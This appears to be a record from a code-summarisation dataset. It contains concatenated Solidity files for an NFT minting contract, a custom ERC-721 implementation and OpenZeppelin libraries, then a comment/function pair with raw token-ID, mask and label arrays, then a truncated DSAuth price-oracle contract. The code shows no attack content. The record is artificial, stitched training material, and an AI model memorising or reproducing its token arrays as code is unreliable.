addressMintedBalance[msg.sender]; require( ownerMintedCount + _mintAmount <= nftPerAddressLimit, "Max NFT per address exceeded" ); require(msg.value >= allowListCost * _mintAmount); reserved -= _mintAmount; addressMintedBalance[msg.sender] += _mintAmount; for (uint256 i; i < _mintAmount; i++) { _safeMint(msg.sender, supply + i, ""); } } function giveAway( uint256[] calldata quantityList, address[] calldata addressList ) external onlyOwner { require(quantityList.length == addressList.length, "Wrong Inputs"); uint256 totalQuantity = 0; uint256 supply = totalSupply(); for (uint256 i = 0; i < quantityList.length; ++i) { totalQuantity += quantityList[i]; } require(totalQuantity <= reserved, "Exceeds reserved supply"); require(supply + totalQuantity <= maxSupply, "Too many NFTs t o mint"); reserved -= totalQuantity; delete totalQuantity; for (uint256 i = 0; i < addressList.length; ++i) { for (uint256 j = 0; j < quantityList[i]; ++j) { _safeMint(addressList[i], supply++, ""); } } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } function isWhitelisted(address _user) public view returns (bool) { for (uint256 i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function _baseURI() internal view virtual returns (string memory) { return baseURI; } function remainingReserved() public view returns (uint256) { return reserved; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setAllowedListCost(uint256 _newCost) public onlyOwner { allowListCost = _newCost; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function whitelistUsers(address[] calldata _users) public onlyOwner { for (uint256 i = 0; i < _users.length; ++i) { whitelistedAddresses.push(_users[i]); } } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setTogglePause() public onlyOwner { paused = !paused; } function sendEth(address destination, uint256 amount) internal { (bool sent, ) = destination.call{value: amount}(""); require(sent, "Failed to send Ether"); } function withdrawAll() public payable onlyOwner { require(!inside, "no rentrancy"); inside = true; uint256 percent = address(this).balance / 100; sendEth(an, percent * 16); sendEth(gu, percent * 16); sendEth(hu, percent * 16); sendEth(je, percent * 16); sendEth(lu, percent * 16); sendEth(va, address(this).balance); inside = false; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.10; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; abstract contract ERC721P is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); uint256 count = 0; uint256 length = _owners.length; for (uint256 i = 0; i < length; ++i) { if (owner == _owners[i]) { ++count; } } delete length; return count; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721P.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721P.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721P.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721P.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721P.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.10; import "./ERC721P.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; abstract contract ERC721Enum is ERC721P, IERC721Enumerable { function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721P) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) { require(index < ERC721P.balanceOf(owner), "ERC721Enum: owner ioob"); uint256 count; for (uint256 i; i < _owners.length; ++i) { if (owner == _owners[i]) { if (count == index) return i; else ++count; } } require(false, "ERC721Enum: owner ioob"); } function tokensOfOwner(address owner) public view returns (uint256[] memory) { require(0 < ERC721P.balanceOf(owner), "ERC721Enum: owner ioob"); uint256 tokenCount = balanceOf(owner); uint256[] memory tokenIds = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(owner, i); } return tokenIds; } function totalSupply() public view virtual override returns (uint256) { return _owners.length; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enum.totalSupply(), "ERC721Enum: global ioob"); return index; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Clear approvals from the previous owner
function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721P.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); }
522,192
[ 1, 9094, 6617, 4524, 628, 326, 2416, 3410, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 203, 565, 262, 2713, 5024, 288, 203, 3639, 2583, 12, 203, 5411, 4232, 39, 27, 5340, 52, 18, 8443, 951, 12, 2316, 548, 13, 422, 628, 16, 203, 5411, 315, 654, 39, 27, 5340, 30, 7412, 434, 1147, 716, 353, 486, 4953, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 654, 39, 27, 5340, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 203, 3639, 389, 5771, 1345, 5912, 12, 2080, 16, 358, 16, 1147, 548, 1769, 203, 203, 3639, 389, 12908, 537, 12, 2867, 12, 20, 3631, 1147, 548, 1769, 203, 3639, 389, 995, 414, 63, 2316, 548, 65, 273, 358, 31, 203, 203, 3639, 3626, 12279, 12, 2080, 16, 358, 16, 1147, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; // File: contracts/ds-auth/auth.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity 0.4.24; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } // File: contracts/AssetPriceOracle.sol contract AssetPriceOracle is DSAuth { // Maximum value expressible with uint128 is 340282366920938463463374607431768211456. // Using 18 decimals for price records (standard Ether precision), // the possible values are between 0 and 340282366920938463463.374607431768211456. struct AssetPriceRecord { uint128 price; bool isRecord; } mapping(uint128 => mapping(uint128 => AssetPriceRecord)) public assetPriceRecords; event AssetPriceRecorded( uint128 indexed assetId, uint128 indexed blockNumber, uint128 indexed price ); constructor() public { } function recordAssetPrice(uint128 assetId, uint128 blockNumber, uint128 price) public auth { assetPriceRecords[assetId][blockNumber].price = price; assetPriceRecords[assetId][blockNumber].isRecord = true; emit 